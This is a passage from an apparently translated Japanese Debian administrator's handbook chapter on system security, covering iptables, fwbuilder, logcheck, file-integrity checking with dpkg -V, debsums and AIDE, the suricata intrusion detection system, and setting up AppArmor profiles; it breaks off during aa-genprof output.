ICMP (**Internet Control Message** Protocol) は通信に関する補足情報を送信するために使われるプロトコルです。`ping` コマンドは ICMP を使ってネットワークの接続性を検査します (`ping` コマンドは ICMP **echo request** メッセージを送信します。これに対して受信者は ICMP **echo reply** メッセージで応答することになっています)。ICMP を使えば、ファイアウォールがパケットを拒否していることを通知したり、受信バッファが満杯になっていることを通知したり、次回パケット以降に使えるより良い経路を提案することが可能です。ICMP はいくつかの RFC 文書で定義されています。しかし、最初の RFC777 と RFC792 はすぐに完成し、拡張されました。

➨ `http://www.faqs.org/rfcs/rfc777.html`

➨ `http://www.faqs.org/rfcs/rfc792.html`

参考のために書いておきますが、受信バッファとはデータがネットワークから到着してカーネルがデータを処理するまでの間そのデータを保存する小容量のメモリ区画です。このメモリ区画が満杯になると、新しいデータを受け取ることができなくなり、ICMP を使ってこの問題が通知されます。そうすれば送信側はデータの転送速度を遅くすることが可能です (理想的に言えば、しばらくの後に転送速度は平衡状態に達するべきです)。

IPv4 ネットワークは ICMP がなくても動作しますが、IPv6 ネットワークは ICMPv6 を必須条件としています。なぜなら、ICMPv6 は IPv4 世界で ICMPv4、IGMP (**Internet Group Membership Protocol**)、ARP (**Address Resolution Protocol**) のように分散していたさまざまな機能をまとめているからです。ICMPv6 は RFC4443 で定義されています。

➨ `http://www.faqs.org/rfcs/rfc4443.html`

- ACCEPT。対象のパケットの通過を許可します。
- REJECT。対象のパケットを拒否して ICMP エラーを返答します (`iptables` の `--reject-with` **type** オプションを使えば返答するエラーの種類を選ぶことが可能です)。

- DROP。対象のパケットを削除 (無視) します。
- LOG。(syslogd を使って) 対象のパケットの説明とメッセージをログに記録します。ログ記録が選択された場合、チェインの処理は中止されず続行されて次のルールに進む点に注意してください。このため、拒否されたパケットをログに記録するには LOG と REJECT/DROP ルールの両方が必要です。
- ULOG。ulogd を介してメッセージをログに記録します。ulogd は大量のメッセージを処理する場合に syslogd よりも効率が良いです。LOG と同様、この場合も処理は呼び出されたチェインの次のルールに進む点に注意してください。
- **chain_name**。指定したチェインに飛んで、そのチェインのルールを評価します。
- RETURN。現在のチェインの処理を中止し、呼び出し元のチェインに戻ります。現在のチェインが標準的なチェインの場合、呼び出し元のチェインは存在しませんから、代わりにデフォルト動作 (iptables の -P オプションで定義された動作) が実行されます。
- SNAT (nat テーブルの中だけでのみ使うことが可能です)。**Source NAT** を適用します (追加オプションを使って適用する正確な変更を設定します)。
- DNAT (nat テーブルの中だけでのみ使うことが可能です)。**Destination NAT** を適用します (追加オプションを使って適用する正確な変更を設定します)。
- MASQUERADE (nat テーブルの中だけでのみ使うことが可能です)。**マスカレード**を適用します (**マスカレード**は **Source NAT** の特別な場合です)。
- REDIRECT (nat テーブルの中だけでのみ使うことが可能です)。ファイアウォールの指定したポートに対象のパケットを転送します。さらにこれを使って、クライアント側に特別な設定をせずとも動作する透過的なウェブプロキシをセットアップすることが可能です。なぜなら、クライアントは宛先に接続していると思っていても、実際の通信はプロキシを通過しているからです。

その他の動作 (特に mangle テーブルに関する動作) は本書の範囲を超えています。iptables(8) と ip6tables(8) には包括的なリストが含まれています。

14.2.2. iptables と ip6tables の構文

iptables と ip6tables コマンドを使って、テーブル、チェイン、ルールを操作することが可能です。-t **table** オプションで操作対象のテーブルを指定します (デフォルトの場合、filter テーブルを操作します)。

コマンド

-N **chain** オプションは新しいチェインを作成します。-X **chain** は空で使われていないチェインを削除します。-A **chain rule** はチェインの最後にルールを追加します。-I **chain rule_num rule** オプションは指定したルール番号 **rule_num** の前にルールを挿入します。-D **chain rule_num** (または -D **chain rule**) オプションはチェインからルールを削除します。ここで **rule_num** を使う構文はルール番号を指定してルールを削除し、**rule** を使う構文はルール内容を指定してルールを削除します。-F **chain** オプションはチェインをクリアします (チェインに含まれるすべてのルールを削除します)。ここでチェインを指定しなかった場合、テーブルに含まれるすべてのルールを削除します。-L **chain** オプションはチェインに含まれるルールを表示します。最後に、-P **chain action** オプションは指定したチェインのデフォルト動作を意味する「ポリシー」を定義します。ここでポリシーを設定できるのは標準的なチェインだけという点に注意してください。

ルール

それぞれのルールは **conditions** -j **action action_options** の形で指定します。1 つのルールに複数の条件を指定する場合、複数の条件は結合 (論理 **and**) されます。つまり、各条件の結果をさらに限定することを意味します。

-p **protocol** は指定されたプロトコルフィールドに一致する IP パケットを選択する条件です。**protocol** で最もよく使われる値は tcp、udp、icmp、icmpv6 です。この条件の前に感嘆符を付けることで、この条件を否定することになります。つまり「**protocol** で指定されたプロトコル以外のすべてのプロトコルを使ったパケット」を選択する条件になります。条件否定の方法は -p オプションに限らず、以降で紹介する他のすべての条件にも適用することが可能です。

-s **address** または -s **network/mask** は指定された送信元アドレスに一致するパケットを選択する条件です。同様に、-d **address** または -d **network/mask** は指定された宛先アドレスに一致するパケットを選択する条件です。

-i **interface** は指定されたネットワークインターフェースを通じて受信したパケットを選択する条件です。-o **interface** は指定されたインターフェースを通じて送信されるパケットを選択する条件です。

上で説明した一般的な条件ごとに、さらに条件の範囲を狭めるためのオプションが数多く存在します。たとえば -p tcp 条件に加えて TCP ポート番号を指定することで、選択するパケットをさらに絞り込むことが可能です。これを行うには、--source-port **port** と --destination-port **port** を使います。

--state **state** は指定されたパケット状態に一致するパケットを選択する条件です (接続追跡を行うための `ipt_conntrack` カーネルモジュールが必要です)。NEW 状態は新しい接続を開始するパケット、ESTABLISHED 状態は既に存在する接続に関連するパケットを意味します。RELATED 状態は既存の接続に関連した新しい接続を開始するパケットを意味します (これは FTP プロトコルの「アクティブ」モードを使った ftp-data 接続の際に有益です)。

前節では利用できる標準的な動作を説明しましたが、その動作に対するオプションを説明していませんでした。たとえば、LOG 動作は以下のオプションを取ることが可能です。

- --log-level は記録する `syslog` メッセージの重要度を指定します。デフォルトの場合 warning 以上の重要度を持つメッセージが記録されます。

- --log-prefix はログに記録するメッセージを特徴づけるために行の先頭に付けるテキストを指定します。

- --log-tcp-sequence、--log-tcp-options、--log-ip-options はログメッセージに含める追加的なデータを指定します。具体的に言えば、それぞれ TCP シーケンス番号、TCP オプション、IP オプションをログメッセージに含めます。

DNAT 動作は以下のオプションを取ることが可能です。--to-destination **address**:**port** は新しい宛先 IP アドレスおよびポート番号を指定します。同様に、SNAT 動作は以下のオプションを取ることが可能です。--to-source **address**:**port** は新しい送信元 IP アドレスおよびポート番号を指定します。

REDIRECT 動作は以下のオプションを取ることが可能です。--to-ports **port(s)** はパケットの転送先ポート番号またはポート番号範囲を指定します (REDIRECT 動作は NAT を有効化している場合にのみ使うことが可能です)。

14.2.3. ルールの作成

1 つのルールを作成するには、iptables/ip6tables を 1 回実行する必要があります。これらのコマンドを手作業で実行することは退屈なので、通常スクリプトの形で保存しておきます。こうすることで、マシンの起動時に同じ設定を自動的に適用することが可能です。このスクリプトは手作業で書かなければいけませんが、fwbuilder などの高レベルツールを使ってスクリプトを準備しても良いでしょう。

```
# apt install fwbuilder
```

fwbuilder の原理は簡単です。最初に、以下のような実際のルールに関連するすべての要素を宣言する必要があります。

- ネットワークインターフェースとそれを使うファイアウォール自身。
- 対応する IP アドレス範囲とそれを使うネットワーク。
- サーバ。
- サーバでホストされているサービスに対応するポート番号。

これらの要素に対する単純なドラッグアンドドロップ動作を使ってルールを作成します。いくつかのコンテキストメニューを使ってルールの条件を変更する (たとえば条件を否定する) ことが可能です。その後、動作を選んで設定する必要があります。

IPv6 に関心があるなら、IPv4 と IPv6 で別々のルールセットを作成するか、片方のルールセットだけを作成して要素に割り当てられたアドレスに応じて fwbuilder にそのルールを変換してもらうかのどちらか一方を行うことが可能です。

図 14.2　fwbuilder のメインウィンドウ

これで fwbuilder は定義されたルールに従ってファイアウォールを設定するためのスクリプトを生成することが可能になりました。モジュール式のアーキテクチャのおかげで、fwbuilder はさまざまなファイアウォールシステム (Linux の iptables、FreeBSD の ipf、OpenBSD の pf) を設定するためのスクリプトを生成することが可能です。

14.2.4. 起動時にルールを適用する

設定スクリプトを /etc/network/interfaces ファイルの up 指示文に登録する方法を推奨します。以下の例では、設定スクリプトは /usr/local/etc/arrakis.fw に保存されています。

例 14.1　ファイアウォールスクリプトを呼び出す interfaces ファイル

```
auto eth0
iface eth0 inet static
    address 192.168.0.1
    network 192.168.0.0
    netmask 255.255.255.0
    broadcast 192.168.0.255
    up /usr/local/etc/arrakis.fw
```

見ての通りこの例ではネットワークインターフェースを設定するために **ifupdown** を使っています。他の方法 (たとえば **NetworkManager** や **systemd-networkd** など) を使ってネットワークインターフェースを設定している場合、それぞれの文書を参照して、インターフェースを起動した後にスクリプトを実行する方法を見つけてください。

14.3. 監督、防止、検出、監査

監視はいくつかの理由によっていかなるセキュリティポリシーにおいても不可欠な要素になっています。最たる理由はセキュリティの目標には通常データの機密性を保証するだけでなく、サービスの可用性を保証することも含まれているという理由です。そのため、すべてが想定通りに稼働しているかを確認したり、さまざまな逸脱した挙動や提供しているサービス品質の変化をタイミング良く検出したりすることが不可欠です。監視活動のおかげで、危機的状況に陥る前に不正侵入の試行を検出し迅速に対応することが可能です。この節では、Debian システムのさまざまな側面を監視するために使えるいくつかのツールを概説します。この節は第 12.4 節「監視」345 ページを補完する節です。

14.3.1. logcheck を使ったログ監視

logcheck プログラムはデフォルトでは毎時間ログファイルを監視します。logcheck は不審なログメッセージを電子メールで管理者に送信し、さらなる解析を促します。

監視対象ファイルのリストは /etc/logcheck/logcheck.logfiles に保存されています。/etc/rsyslog.conf ファイルが完全に書き換えられていない限り、デフォルト値でうまく動作します。

logcheck の動作モードには 3 種類あり、そのうちの 1 つを選びます。具体的に言えば、**paranoid**、**server**、**workstation** から 1 つ選びます。**paranoid** モードは**とても**詳細で、**paranoid** モードを使うのはファイアウォールなどの特定のサーバに限定するべきです。**server** モードはデフォルトで、多くのサーバでは **server** モードを使うことを推奨します。**workstation** モードはワークステーション用に設計されており、かなり簡潔です (より多くのメッセージを除外します)。

どの動作モードを選んだ場合でも、管理者は毎時間のバッチ処理のたびに長くてつまらない電子メールを受け取ることを本当に望むのでなければ、logcheck を (インストール済みサービスに基づき) カスタマイズしていくつかの余分なメッセージを除外するべきです。メッセージ選択ルールはかなり複雑なので、もし挑戦するなら /usr/share/doc/logcheck-database/README.logcheck-database.gz を読むと良いでしょう。

メッセージに対して適用されるルールは以下に示す種類に分類されます。

- クラッキングの試行として分類するメッセージのルール (/etc/logcheck/cracking.d/ ディレクトリ内のファイルに保存します)。
- クラッキングの試行として分類されたメッセージの分類を解除するメッセージのルール (/etc/logcheck/cracking.ignore.d/ ディレクトリ内のファイルに保存します)。
- セキュリティ警告として分類するメッセージのルール (/etc/logcheck/violations.d/ ディレクトリ内のファイルに保存します)。
- セキュリティ警告として分類されたメッセージの分類を解除するメッセージのルール (/etc/logcheck/violations.ignore.d/ ディレクトリ内のファイルに保存します)。
- その他のメッセージに適用するルール (**システムイベント**として分類されます)。

CAUTION

メッセージの無視

/etc/logcheck/violations.d/myfile ファイルに保存されているルールに基づいてクラッキング試行やセキュリティ警告として分類されたメッセージの分類を解除するには、/etc/logcheck/violations.ignore.d/myfile または /etc/logcheck/violations.ignore.d/myfile-**extension** ファイルを使います。

/etc/logcheck/ignore.d.{paranoid,server,workstation}/ ディレクトリ内のルールの 1 つによってシステムイベントが無視されなかった場合を除いて、常にシステムイベントは通知されます。もちろん、ここで考慮されるディレクトリは選択された動作モードの冗長性レベル以上の冗長性レベルに対応するディレクトリです。

14.3.2. 監視活動

リアルタイム監視

top は現在実行中のプロセスのリストを表示する対話型ツールです。デフォルトでは現在のプロセッサ使用量に基づいてソートされ、P キーを押すことで内容を更新することが可能です。他のソート基準として、専有メモリ量 (M キー)、総プロセッサ時間 (T キー)、プロセス ID (N キー) などがあります。k キーに続けてプロセス ID を入力することで、識別子に対応するプロセスを殺すことが可能です。r キーを使ってプロセスの **renicing** を行うことが可能です、つまり優先度を変更することが可能です。

システムの負荷が高過ぎる場合、top はプロセッサ時間を奪っていたりメモリを大量に消費しているプロセスを調査する素晴らしいツールになります。特に、リソースを消費しているプロセスがそのマシンでホストされる本物のサービスにふさわしいものであるか否かを確認することは興味深い作業と言えます。www-data ユーザとして実行されている不明なプロセスは特に警戒して調査するべきです。なぜなら、その不明なプロセスはウェブアプリケーションの脆弱性を利用してシステムにインストールおよび実行されたソフトウェアのインスタンスかもしれないからです。

top はとても柔軟性の高いツールで、top のマニュアルページでは表示をカスタマイズする方法とそのカスタマイズの結果を個人的なニーズや習慣に反映させる方法が詳細に説明されています。

gnome-system-monitor グラフィカルツールは top とよく似ており、大ざっぱに言って top と同じ機能を備えています。

履歴

プロセッサの負荷、ネットワークトラフィック、空きディスク領域などの情報は絶えず変化します。これらの情報の経時変化を保存しておけば、コンピュータの使われ方を明らかにする際に役立ちます。

時間変化する情報の保存には専用のツールがたくさんあります。多くのツールは、この種の情報を一元管理するために、SNMP (**Simple Network Management Protocol**) を介してデータを取得します。SNMP を使うことで、汎用的なコンピュータを除くネットワーク要素 (たとえば専用ネットワークルータやスイッチ) からデータを取得することが可能になるという恩恵があります。

本書では、第 12 章: 「高度な管理」302 ページの中で Munin が詳細に取り上げられています (第 12.4.1 節「Munin のセットアップ」346 ページを参照してください)。さらに Debian には類似のツールである **cacti** が含まれます。cacti の配備は Munin よりも少し複雑です。なぜなら cacti は SNMP だけに基づいているから

です。cacti にはウェブインターフェースが用意されていますが、設定に必要な概念を理解するには少し努力が必要です。事前に HTML 文書 (/usr/share/doc/cacti/html/index.html) を読んでおくことを推奨します。

ALTERNATIVE

mrtg

mrtg (同名のパッケージに含まれます) は古いツールです。荒削りな面もありますが、mrtg は時系列データを集計し、これをグラフとして表示することが可能です。mrtg は最も一般的に監視されるデータ (たとえばプロセッサの負荷、ネットワークトラフィック、ウェブページのヒットなどの情報) を収集する多数の専用スクリプトを備えています。

mrtg-contrib と **mrtgutils** パッケージには、直接使うことができるスクリプトの例が含まれます。

14.3.3. 変更検出

システムのインストールと設定が完了したら、セキュリティアップグレードを行わない限りデータ以外のほとんどのファイルとディレクトリが変化する理由はありません。このため、ファイルが変化していないことを確認することは興味深いです。すなわち、ファイルに対する予想外の変化は調査に値します。この節では、ファイルに対する予想外の変化に備えて、ファイルを監視して管理者に警告する (または単純に変更をリストする) いくつかのツールを紹介します。

dpkg --verify を使ったパッケージ監視

GOING FURTHER

Debian 並びにソフトウェア開発元に対する攻撃から手元のシステムを守る

Debian パッケージの提供するファイルに対する変化を検出する場合には dpkg --verify は役に立ちますが、たとえば Debian アーカイブミラーが不正アクセスを受けたことによりパッケージ自体が不正に改竄された場合には dpkg --verify は役に立ちません。この種の攻撃に対抗するには、APT のデジタル署名照合システムを使い (第 6.5 節「パッケージ信頼性の確認」123 ページを参照してください)、認証された発行元からのパッケージだけをインストールするように気を付けることが必要です。

dpkg --verify (または dpkg -V) は興味深いツールで、(潜在的には攻撃者によって) 変更を加えられたインストール済みファイルを見つけることが可能です。しかしながら、dpkg --verify の結果は疑ってかかるべきです。なぜなら dpkg --verify は変更されたファイルを検出するために dpkg 自身のデータベースに保存されたチェックサムを使っており、このデータベースはハードディスク上 (/var/lib/dpkg/info/**package**.md5sums) に保存されているからです。このため、完璧主義の攻撃者なら改竄したファイルに対応する新しいチェックサムを使ってデータベースファイルを更新するでしょう。

BACK TO BASICS

ファイルの指紋

備忘録的になりますが、ここで指紋とはファイルの内容に対するある種の署名を含む値です (通常は 16 進数で表記された数です)。この署名はあるアルゴリズムを使って計算されます。指紋計算に使われるアルゴリズムはファイルに対して行われた小さな変化により指紋が変化することがおおよそ保証されているアルゴリズムです (MD5 や SHA1 がよく知られているアルゴリズムです)。そしてこの特徴は「アバランシェ効果」として知られています。アバランシェ効果のおかげで、簡単な数字で表される指紋がファイルの内容の変化を検出するためのリトマス試験として機能することになります。指紋計算に使われるアルゴリズムは不可逆です。言い換えれば、ほとんどの指紋計算アルゴリズムに対して指紋からその指紋が得られる内容を発見することは不可能であることが知られています。最近の数学的な進歩により、アルゴリズムの原理の絶対性が揺らいでいるように見えます。しかしこれはアルゴリズムを使うことに対して疑問を投げかけるものではありません。なぜなら、同じ指紋を持つ異なる内容を作成することはまだかなり難しい作業だからです。

dpkg -V を実行すると、すべてのインストール済みパッケージが検証され、テストに失敗したファイルが行ごとに表示されます。出力フォーマットは rpm -V が採用しているフォーマットと同じで、行頭の各文字は特定のメタデータに対するテストの結果を意味しています。残念なことに dpkg は多くのテストに必要なメタデータを保存しません。これらのメタデータを必要とするテストの結果は常に疑問符が出力されることになります。今のところ実行できるテストはチェックサムテストだけで、チェックサムテストに失敗した場合、左から 3 番目の文字が「5」になります。

```
# dpkg -V
??5??????   /lib/systemd/system/ssh.service
??5?????? c /etc/libvirt/qemu/networks/default.xml
??5?????? c /etc/lvm/lvm.conf
??5?????? c /etc/salt/roster
```

上の例では、dpkg は Debian パッケージから提供された SSH の service ファイルが直接編集されていることを報告しています。一般に管理者は Debian パッケージから提供された設定ファイル以外のファイルを直接編集するべきではありません。今回の場合ならば、もう一度 /etc/systemd/system/ssh.service を作成し、これを編集するべきです (このファイルは一般に設定変更を配置すべき場所である /etc ディレクトリの下に配置されます)。さらに、dpkg は設定ファイルとみなされた複数のファイルが修正されていることを報告しています (この場合、左から 2 番目のフィールドが「c」という文字になります)。設定ファイルに対する修正は合法的と言えます。

パッケージの監査、debsums とその限界

debsums は dpkg -V の祖先です。このため、debsums はほとんど使われていません。debsums と dpkg は同じ制限に悩まされています。幸いなことに、debsums はいくつかの制限を回避することが可能です (一方で dpkg には同様の回避策がありません)。

ディスク上のデータは信頼できないため、debsums は dpkg データベースではなく .deb ファイルに基づいてテストを行う機能を提供しています。すべてのインストール済みパッケージに対応する信頼できる .deb ファイルをダウンロードするには、APT の認証付きダウンロード機構を使います。この操作は遅くて退屈ですから、この操作を定期的かつ積極的に使う手法として考えるべきではありません。

```
# apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s
    ➥ Package`
[ ... ]
# debsums -p /var/cache/apt/archives --generate=all
```

この例の中で、デフォルトではインストールされない **dctrl-tools** パッケージに含まれる grep-status コマンドが使われている点に注意してください。

ファイル監視、AIDE

AIDE ツール (**Advanced Intrusion Detection Environment**、**aide** パッケージに含まれます) を使うことで、ファイルの完全性を確認したり、事前に保存された正当なシステムのイメージに対する変更を検出したりすることが可能です。このイメージはシステムのすべてのファイルに対して関連する情報 (指紋、パーミッション、タイムスタンプなど) を記録するデータベース (/var/lib/aide/aide.db) に保存されます。このデータベ

ースは最初に aideinit を使って初期化されます。そして毎日、関係のある情報が何も変更されていないことを確認するために、このデータベースは /etc/cron.daily/aide スクリプトから使われます。変更が検出されたら、AIDE は変更内容をログファイル (/var/log/aide/*.log) に記録し、検出された変更内容を管理者にメールで送信します。

IN PRACTICE

データベースの保護

AIDE はファイルの状態を比較するためにローカルデータベースを使います。結果の信頼性は直接的にデータベースの信頼性と結び付いています。攻撃者が不正アクセスされたシステムの root 権限を取得した場合、攻撃者はデータベースを置き換えて自分の行動の形跡を隠すことが可能です。可能な次善策は参照データを読み込み専用のストレージメディアに保存することです。

/etc/default/aide に含まれる多くのオプションを使って **aide** パッケージの挙動を微調整します。AIDE 設定は /etc/aide/aide.conf と /etc/aide/aide.conf.d/ に保存されています (実質的に言えば、これらのファイルは update-aide.conf が /var/lib/aide/aide.conf.autogenerated を生成するためだけに使われます)。設定は確認する必要のあるファイルの属性の種類を指定します。たとえば、ログファアイルの内容は定期的に変わりますが、この種の変更はファイルのパーミッションが同じなら無視することが可能です。しかし、実行プログラムの内容とパーミッションの両方は必ず同じでなければいけません。設定の構文は、とても複雑というわけではありませんが、十分に直感的というわけでもありません。aide.conf(5) マニュアルページを読むことを推奨します。

データベースの新しいバージョンは毎日生成され、/var/lib/aide/aide.db.new に保存されます。そして、すべての記録された変更が正当ならば、参照データベースを新しいデータベースに置き換えることが可能です。

ALTERNATIVE

Tripwire と Samhain

Tripwire は AIDE とよく似ており、Tripwire の設定ファイルの構文も AIDE の設定ファイルの構文とほとんど同じです。AIDE に対する **tripwire** の主な追加点は **tripwire** には設定ファイルを署名するメカニズムが追加されている点です。設定ファイルを署名することで、参照データベースの示す先を異なるバージョンに差し替えることが不可能になります。

Samhain も類似の機能を提供しますが、Samhain は rootkit の検出に役立ついくつかの機能を備えています (補注「**checksecurity** と **chkrootkit/rkhunter** パッケージ」388 ページを参照してください)。Samhain はネットワークを使って広範囲に配備され、中央サーバ上に履歴を (署名と一緒に) 記録することが可能です。

QUICK LOOK

checksecurity と chkrootkit/rkhunter パッケージ

checksecurity パッケージには、システムの基本的な確認項目 (空のパスワード、新しい setuid ファイルなど) について確認を行い、必要ならば管理者に警告するための、複数の小さなスクリプトが含まれます。checksecurity という明快な名前にも関わらず、管理者が Linux システムが安全であることを保証するためには checksecurity だけでは不十分です。

chkrootkit と **rkhunter** パッケージを使うことで、システムに潜在的にインストールされた **rootkit** を探し出すことが可能です。備忘録的になりますが、**rootkit** はシステムの不正侵入を隠すために設計されたソフトウェアで、マシンをこっそりと操作できる状態にし続けます。**chkrootkit** と **rkhunter** パッケージを使ったテストは 100% 信頼できるものではありませんが、管理者はテストにより潜在的な問題に対して注意を払うようになります。

14.3.4. 侵入検知 (IDS/NIDS)

BACK TO BASICS

サービス妨害

「サービス妨害」攻撃の目的は 1 つしかありません。すなわち、サービスを使用不能にすることです。「サービス妨害」攻撃は問い合わせを使ってサーバに大きな負荷を加えたり、バグを不正に活用したりすることで実行されますが、どんな方法で実行されても最終結果は同じです。すなわち、サービスがもはや使用できなくなります。正規のユーザは迷惑しますし、標的にされたネットワークサービスをホストしている事業者の評価が落ちます (たとえばサービスが電子商取引サイトの場合、収入も落ちます)。

「サービス妨害」攻撃はしばしば「分散」されることがあります。通常の「分散」された攻撃は数多くの異なる送信元から数多くの問い合わせを送信することにより、サーバに負荷を加えます。こうすることで、サーバは正規の問い合わせに応答できなくなります。この種の攻撃には、よく知られている頭字語が与えられています。具体的に言えば、DDoS と DoS です (サービス妨害攻撃が分散型か否かで区別します)。

suricata (同名の Debian パッケージに含まれます) は NIDS すなわち**ネットワーク型侵入検知システム**です。NIDS の機能はネットワークをリッスンして侵入試行および敵対行為 (サービス妨害攻撃も含まれます) を検出しようとします。すべてのイベントは /var/log/suricata 内の複数のファイルに記録されます。収集されたすべてのデータを閲覧するためのサードパーティツール (Kibana/logstash) が存在します。

➡ http://suricata-ids.org

➡ https://www.elastic.co/products/kibana

CAUTION

動作範囲

suricata の有効性は監視対象のネットワークインターフェース上を流れるトラフィックによって制限されます。suricata が真のトラフィックを観察することができない場合、当然ながら suricata は何も検出しません。suricata が実行されているマシンをネットワークスイッチに接続した場合、suricata が実行されているマシンを対象にした攻撃だけを検出することが可能です。この挙動は意図するものではないかもしれません。このため suricata が実行されているマシンはネットワークスイッチの「ミラー」ポートに接続されるべきです。通常「ミラー」ポートはスイッチをカスケード接続するために使われるため、すべてのトラフィックを取得することが可能です。

suricata を設定するには /etc/suricata/suricata-debian.yaml をよく読んで編集します。それぞれのパラメータはこのファイルの中で詳細に説明されているため、このファイルはとても長いものです。最低限の設定を行うには、HOME_NET パラメータでローカルネットワークのカバーするアドレス範囲を指定する必要があります。実際のところ HOME_NET パラメータは潜在的に攻撃される可能性を持つすべてのネットワークを意味しています。しかし設定パラメータのほとんどを理解するには、パラメータの説明をすべて読み、パラメータをそれぞれの状況に適応させることが必要です。

加えて、監視対象のネットワークインターフェースを定義して init スクリプトを有効化する (RUN=yes と設定する) ために、/etc/default/suricata を編集するべきです。また、管理者は LISTENMODE=pcap のように設定したいと思うかもしれません。なぜなら、デフォルト設定である LISTENMODE=nfqueue を適切に動かすためには、さらに設定を行う必要があるからです (netfilter ファイアウォールの NFQUEUE 動作を使って suricata が取り扱う一部のユーザ空間キュー宛のパケットを通過するように、ファイアウォールを設定しなければいけません)。

不正行為を検出するためには、suricata に一連の監視規則を設定する必要があります。いくつかの監視規則は **snort-rules-default** パッケージに含まれています。snort は IDS エコシステムにおける歴史的な基準

ソフトウェアで、suricata は snort 向けに書かれた監視規則を再利用することが可能です。残念なことに **snort-rules-default** パッケージは **Debian Jessie** には含まれません。このため、**snort-rules-default** パッケージを入手するには**テスト版**か**不安定版**などの他の Debian リリースを使ってください。

代案として、oinkmaster (同名のパッケージに含まれます) を使って外部ソースから Snort の監視規則をダウンロードすることも可能です。

GOING FURTHER

prelude との統合

prelude を使うことでセキュリティ情報の中央集中型監視が可能になります。prelude のモジュール式設計には、サーバ (**prelude-manager** に含まれる**マネージャ**) が含まれ、サーバはさまざまな種類の**センサー**によって生成された警告を収集します。

Suricata を prelude のセンサーとして設定することが可能です。他の可能性には **prelude-lml** (**Log Monitor Lackey**) があります。これは (第 14.3.1 節「logcheck を使ったログ監視」384 ページで説明されている logcheck と同様のやり方で) ログファイルを監視します。

14.4. AppArmor の紹介

14.4.1. 原理

AppArmor は Linux の LSM (**Linux Security Modules**) インターフェース上に設けられた**強制アクセス制御** (MAC) システムです。具体的に言えば、カーネルはそれぞれのシステムコールの前にシステムコールを発行したプロセスが指定された操作に対する権限を与えられているか AppArmor に問い合わせます。このメカニズムを通じて、AppArmor はプログラムがアクセスできるリソースを制限します。

AppArmor はプログラムごとに一連の規則 (これは「プロファイル」として知られています) を適用します。カーネルは実行されたプログラムのインストール先のパスに依存してこのプロファイルを適用します。SELinux とは対照的に (第 14.5 節「SELinux の紹介」397 ページを参照してください)、このプロファイルはユーザに依存するものではありません。同じプログラムを実行したすべてのユーザは同じプロファイルを適用されます (しかしながら、伝統的なユーザパーミッションが適用されないわけではありません。このため、ユーザごとにプログラムの挙動が異なる可能性もあります!)。

AppArmor プロファイルは /etc/apparmor.d/ に保存され、プロファイルには各プログラムが使うことができるリソースに対するアクセス制御規則のリストが含まれています。プロファイルは apparmor_parser コマンドによってコンパイルされてカーネルに読み込まれます。各プロファイルは enforce または complain モードで読み込みます。enforce モードではポリシーの遵守を強制され、ポリシー違反の試行を報告されます。これに対して、complain モードではポリシーの遵守を強制されませんが、ポリシー違反で拒否されうるシステムコールを記録されます。

14.4.2. AppArmor の有効化と AppArmor プロファイルの管理

AppArmor のサポートは Debian が提供する標準カーネルに組み込まれています。このため AppArmor を有効化するには、いくつかのパッケージをインストールして、一部のパラメータをカーネルコマンドラインに追加します。

```
# apt install apparmor apparmor-profiles apparmor-utils
[...]
```

```
# perl -pi -e 's,GRUB_CMDLINE_LINUX="(.*)"$,GRUB_CMDLINE_LINUX="$1 apparmor=1 security=
    ➥ apparmor",' /etc/default/grub
# update-grub
```

AppArmor は再起動後に動作します。以下に示す通り aa-status を使えば AppArmor の有効化を素早く確認できます。

```
# aa-status
apparmor module is loaded.
44 profiles are loaded.
9 profiles are in enforce mode.
   /usr/bin/lxc-start
   /usr/lib/chromium-browser/chromium-browser//browser_java
[...]
35 profiles are in complain mode.
   /sbin/klogd
[...]
3 processes have profiles defined.
1 processes are in enforce mode.
   /usr/sbin/libvirtd (1295)
2 processes are in complain mode.
   /usr/sbin/avahi-daemon (941)
   /usr/sbin/avahi-daemon (1000)
0 processes are unconfined but have a profile defined.
```

NOTE

さらに多くの AppArmor プロファイル

apparmor-profiles パッケージには上流 AppArmor コミュニティによって管理されているプロファイルが含まれます。さらに多くのプロファイルを入手するには Ubuntu と Debian によって開発されているプロファイルが含まれる **apparmor-profiles-extra** をインストールしてください。

それぞれのプロファイルの状態を enforce または complain モードに切り替えるには、引数に実行ファイルのパスかポリシーファイルのパスを与えて aa-enforce または aa-complain を呼び出します。さらにプロファイルを完全に無効化するには、aa-disable を使うか aa-audit を使ってプロファイルを audit モード (承認されたシステムコールもログ記録するモード) に切り替えます。

```
# aa-enforce /usr/sbin/avahi-daemon
Setting /usr/sbin/avahi-daemon to enforce mode.
# aa-complain /etc/apparmor.d/usr.bin.lxc-start
Setting /etc/apparmor.d/usr.bin.lxc-start to complain mode.
```

14.4.3. 新規プロファイルの作成

AppArmor プロファイルを作成することはかなり簡単な作業であるにも関わらず、多くのプログラムがプロファイルを用意していません。この節では、対象のプログラムを使いながら AppArmor に対象のプログラムが呼び出したシステムコールとアクセスするリソースを監視させることにより、ゼロから新しいプロファイルを作成する方法を示します。

アクセス制限を設ける必要のある最も重要なプログラムはネットワークを取り扱うプログラムです。なぜなら、この種のプログラムは遠隔攻撃者からの標的になるからです。このため好都合なことに AppArmor には aa-unconfined コマンドが用意されています。aa-unconfined コマンドは関連するプロファイルが存在せず開かれたネットワークソケットを公開しているプログラムを表示します。aa-unconfined に --paranoid オプションを付けて実行すれば、少なくとも 1 つ以上のアクティブなネットワーク接続を持つアクセス制限を設けていないプロセスがすべて表示されます。

```
# aa-unconfined
801 /sbin/dhclient not confined
890 /sbin/rpcbind not confined
899 /sbin/rpc.statd not confined
929 /usr/sbin/sshd not confined
941 /usr/sbin/avahi-daemon confined by '/usr/sbin/avahi-daemon (complain)'
988 /usr/sbin/minissdpd not confined
1276 /usr/sbin/exim4 not confined
1485 /usr/lib/erlang/erts-6.2/bin/epmd not confined
1751 /usr/lib/erlang/erts-6.2/bin/beam.smp not confined
19592 /usr/lib/dleyna-renderer/dleyna-renderer-service not confined
```

以下の例では、/sbin/dhclient 用のプロファイルを作成しようとしています。プロファイルを作成するためには aa-genprof dhclient を使います。aa-genprof はユーザに別のウィンドウから対象のアプリケーションを開始することを求め、その後ユーザにシステムログ内の AppArmor イベントをスキャンしてこれらのログをアクセス規則に変換するために aa-genprof に戻ることを求めます。ログ記録されたそれぞれのイベントについて、aa-genprof は 1 つ以上の規則を提案します。ユーザは提案された規則を受け入れるかまたはさまざまな方法で規則を編集することが可能です。

```
# aa-genprof dhclient
Writing updated profile for /sbin/dhclient.
Setting /sbin/dhclient to complain mode.

Before you begin, you may wish to check if a
profile already exists for the application you
